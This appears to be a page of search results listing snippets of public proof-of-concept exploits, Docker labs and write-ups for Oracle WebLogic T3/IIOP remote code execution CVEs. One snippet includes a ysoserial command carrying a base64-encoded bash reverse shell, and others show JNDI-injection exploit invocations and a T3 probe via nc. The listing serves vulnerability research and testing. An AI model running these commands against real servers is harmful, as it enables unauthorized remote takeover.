694 matches found
Oracle WebLogic Server - Remote Code Execution
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...
CVE-2024-21182
CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI Injection → RCE lab A self-contained, one-command Docker lab to reproduce and validate the Oracle WebLogic Server OpaqueReference JNDI-injection vulnerability family CVE-2024-21182, a patch bypass of CVE-2023-21839 and turn it into...
CVE-2020-14756
CVE-2020-14756 WebLogic T3/IIOP RCE ExternalizableHelper.class of coherence.jar README project base on https://github.com/Y4er/CVE-2020-2555 and weblogiccmd test on 12.2.1.4.0 and jdk 1.8.0221 Reference 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2...
CVE-2018-3191
Weblogic-CVE-2018-3191 Remote Code Execution Vulnerability weblogic For Docker Environment 0x00 Introduction On October 17, Beijing time, Oracle's Critical Patch Update CPU for October fixed a high-risk WebLogic remote code execution vulnerability CVE-2018-3191. This vulnerability allows an...
CVE-2018-3191
CVE-2018-3191 CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001 1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Then...
CVE_2020_2546
Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...
CVE-2022-21350
Why two POCs? One with com.51pwn.hktalent.CreatJar.mainargs; is used to create the minimal payload generation tool. After creation, use the other one. Running CVE-2022-21350powerBy51pwn.jar to build the payload, errors do not affect the use of the payload. other exp CVE20202551 CVE20202555...
WLT3Serial
WLT3Serial Native Java-based deserialization exploit for WebLogic T3 and T3S listeners as outlined HERE. Requires third-party dependencies ysoserial and wlthint3client. Advantages/Disadvantages compared to JavaUnserializeExploits weblogic.py and loubia Advantages: Handles T3/T3S communication...
CVE-2020-14645
CVE-2020-14645 Usage First, use NDI-Injection-Exploit to listen and generate an LDAP address. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Target and -RMI are required. For HTTPS, use the --SSL parameter. -Port defaults to 7001. If compiling from...
CVE-2019-2890
CVE-2019-2890 CVE-2019-2890 Exploit for WebLogic with T3...
woodpecker-plugins
woodpecker-plugins usage Copy the plugins to the woodpecker-framwork/plugin directory and start java -jar woodpecker-framework.1.3.3.jar from https://github.com/woodpecker-appstore weblogic-info check T3 isOpen: echo 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'|nc...
CVE-2024-21006
CVE-2024-21006 CVE-2024-21006 Description Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T...
T3-Technology-CPE-Advisories
T3 Technology CPE — Security Advisories Multiple critical vulnerabilities discovered in T3 Technology CPE ONU/Router devices deployed by TrueOnline Thailand. Vulnerabilities CVE ID| Severity| Summary ---|---|--- CVE-2026-35904| 4.3 Medium| Unauthenticated Telnet Enable via CGI CVE-2026-35905| 8.8...
CVE-2019-2890
CVE-2019-2890 Clone code from https://github.com/v-gift/CVE-2019-2890 CVE-2019-2890 Exploit for WebLogic with T3...
POC_CVE-2020-2555
POCCVE-2020-2555 poc for CVE-2020-2555 3 part: Client & Server: to build object and send to Server, trigger gadgetchain. Use it for build owner object. Attack: send object via T3 protocol with pwntools...
CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE
CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE -orange 📋 Description CVE-2024-21182 is an unauthenticated JNDI injection vulnerability affecting the Core component of Oracle WebLogic Server. It allows a remote attacker, vi...
CVE-2017-10271
LAB 2 - CVE-2017-10271: WebLogic XMLDecoder Deserialization Writeup I. System Analysis System Log Analysis Detected Service: Oracle WebLogic Server AdminServer belonging to basedomain running in Development Mode. Connection Port: 7001. Supported Protocols: http, t3, iiop, ldap, snmp. Attack Surfa...
Weblogic-CVE-2020-2551-To-Internet
Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC to use on the Internet Test POC can be used for external network testing python CVE-2020-2551.py HOST IP Attempt to modify codebase for remote class loading failed python CVE-2020-TEST.py HOST IP Discussion on weblogic CVE-2020-2551 vulnerabili...
Weblogic_Vuln
Preface This article provides a detailed analysis of historical Weblogic vulnerabilities from CVE-2015 to CVE-2019, and organizes related POCs in WeblogicVuln. It records learning notes on Java deserialization vulnerabilities. Welcome to star and issue. WeblogicVuln POCs for CVE-2015-4852,...